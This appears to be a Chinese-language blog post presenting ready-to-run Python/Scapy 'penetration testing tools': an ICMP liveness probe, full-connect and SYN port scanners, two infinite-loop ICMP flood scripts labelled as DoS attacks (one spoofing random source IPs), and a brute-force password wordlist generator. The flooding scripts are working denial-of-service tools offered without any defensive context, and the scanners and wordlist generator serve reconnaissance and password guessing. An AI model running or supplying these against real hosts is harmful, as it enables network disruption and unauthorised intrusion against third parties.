Python渗透测试小工具

ICMP扫描

from scapy.all import *
from random import randint

def main():
    # 提示用户输入要扫描的目标 IP 地址
    target_ip = input("请输入要扫描的目标 IP 地址: ")

    print(f"正在扫描 IP 地址: {target_ip}")
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    # 构建IP层和ICMP层数据包
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq) / b'rootkit'
    # 使用sr1发送数据包并接收响应,timeout设置超时时间为1秒,verbose=False,关闭详细输出
    result = sr1(packet, timeout=1, verbose=False)

    if result:
        # 如果收到响应,则表示目标IP存活
        scan_ip = result.src
        print(f"{scan_ip} is alive")
    else:
        # 如果没有收到响应,则表示目标IP可能不存活或网络不可达
        print(f"{target_ip} is down")

if __name__ == '__main__':
    main()

TCP全开放端口扫描

import socket
from scapy.all import *
from random import randint
import time

def is_alive(target_ip):
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
    result = sr1(packet, timeout=1, verbose=False)
    return result is not None

def scan_port(target_ip, target_port):
    sport = randint(1024, 65535)
    packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
    resp = sr1(packet, timeout=1, verbose=False)

    if resp is None:
        print(f"端口 {target_port} 未响应")
    elif resp.haslayer(TCP):
        if resp.getlayer(TCP).flags == 0x12:
            send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="AR"), timeout=0.1, verbose=False)
            print(f"端口 {target_port} 是开放的")
        elif resp.getlayer(TCP).flags == 0x14:
            print(f"端口 {target_port} 是关闭的")
    else:
        print(f"端口 {target_port} 响应异常")

def main():
    target_ip = input("请输入要扫描的目标 IP 地址: ")

    if is_alive(target_ip):
        print(f"{target_ip} is alive, starting port scan...")
        try:
            target_port = int(input("请输入要扫描的目标端口号: "))
            if 1 <= target_port <= 65535:
                scan_port(target_ip, target_port)
            else:
                print("端口号必须在 1 到 65535 之间")
        except ValueError:
            print("输入的端口号无效,请输入一个整数")
    else:
        print(f"{target_ip} is down, cannot perform port scan.")

if __name__ == '__main__':
    main()

TCP半开放端口扫描

import socket
from scapy.all import *
from random import randint
import time

def is_alive(target_ip):
    ip_id = randint(1, 65535)
    icmp_id = randint(1, 65535)
    icmp_seq = randint(1, 65535)
    packet = IP(dst=target_ip, ttl=64, id=ip_id) / ICMP(id=icmp_id, seq=icmp_seq)
    result = sr1(packet, timeout=1, verbose=False)
    return result is not None

def scan_port_syn(target_ip, target_port):
    sport = randint(1024, 65535)
    packet = IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="S")
    resp = sr1(packet, timeout=1, verbose=False)

    if resp is None:
        print(f"端口 {target_port} 无响应")
    elif resp.haslayer(TCP):
        if resp.getlayer(TCP).flags == 0x12:
            send_rst = sr(IP(dst=target_ip) / TCP(sport=sport, dport=target_port, flags="R"), timeout=0.1, verbose=False)
            print(f"端口 {target_port} 是开放的")
        elif resp.getlayer(TCP).flags == 0x14:
            print(f"端口 {target_port} 是关闭的")
    else:
        print(f"端口 {target_port} 响应异常")

def main():
    target_ip = input("请输入要扫描的目标 IP 地址: ")

    if is_alive(target_ip):
        print(f"{target_ip} is alive, starting SYN port scan...")
        try:
            target_port = int(input("请输入要扫描的目标端口号: "))
            if 1 <= target_port <= 65535:
                scan_port_syn(target_ip, target_port)
            else:
                print("端口号必须在 1 到 65535 之间")
        except ValueError:
            print("输入的端口号无效,请输入一个整数")
    else:
        print(f"{target_ip} is down, cannot perform port scan.")

if __name__ == '__main__':
    main()

三层DOS扫描

import socket
from scapy.all import *
from random import randint
import time

def main():
    target_ip = input("请输入要进行三层DoS的目标IP地址: ")
    print(f"正在向 {target_ip} 发送ICMP包,源IP将随机生成...")

    while True:
        # 构造IP数据包
        ip_layer = IP(src=RandIP(), dst=target_ip)
        # 构造ICMP数据包
        icmp_layer = ICMP()
        # 将IP层和ICMP层组合成一个完整的数据包
        packet = ip_layer / icmp_layer

        send(packet, verbose=False)
        time.sleep(0.01)

        print(f"已发送一个ICMP包到 {target_ip},源 IP:{packet.src}")

if __name__ == '__main__':
    main()

二层DOS扫描

from scapy.all import *
from random import randint
import time

def main():
    target_ip = input("请输入要进行DoS的目标IP地址: ")
    print(f"正在向 {target_ip} 发送ICMP包...")

    while True:
        # 构造IP数据包
        ip_layer = IP(dst=target_ip)
        # 构造ICMP数据包
        icmp_layer = ICMP()
        # 将IP层和ICMP层组合成一个完整的数据包
        packet = ip_layer / icmp_layer

        # 发送数据包
        send(packet, verbose=False)


        time.sleep(0.1)

        print(f"已发送一个ICMP包到 {target_ip}")

if __name__ == '__main__':
    main()

字典生成器

import sys, random
import time
import itertools

def main():
    print("欢迎使用简单字典生成器!")

    # 获取用户输入的字符集
    characters = input("请输入要用于生成密码的字符集: ")
    if not characters:
        print("字符集不能为空")
        return

    # 获取用户输入的密码长度
    try:
        password_length = int(input("请输入要生成的密码长度: "))
        if password_length <= 0:
            print("密码长度必须大于0")
            return
    except ValueError:
        print("密码长度必须是整数")
        return

    output_filename = "dic.txt"
    print(f"正在生成长度为{password_length}的密码,保存到 '{output_filename}'")
    start_time = time.time()
    passwords = open(output_filename, "w")
    total_passwords = 0

    # 生成指定长度的排列
    temp = itertools.permutations(characters, password_length)
    for i in temp:
        password = "".join(i)
        passwords.write(password + "\n")
        total_passwords += 1

    passwords.close()
    end_time = time.time()
    duration = end_time - start_time
    print(f"字典生成完成,文件已保存为'{output_filename}'。")

if __name__ == '__main__':
    main()

 

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容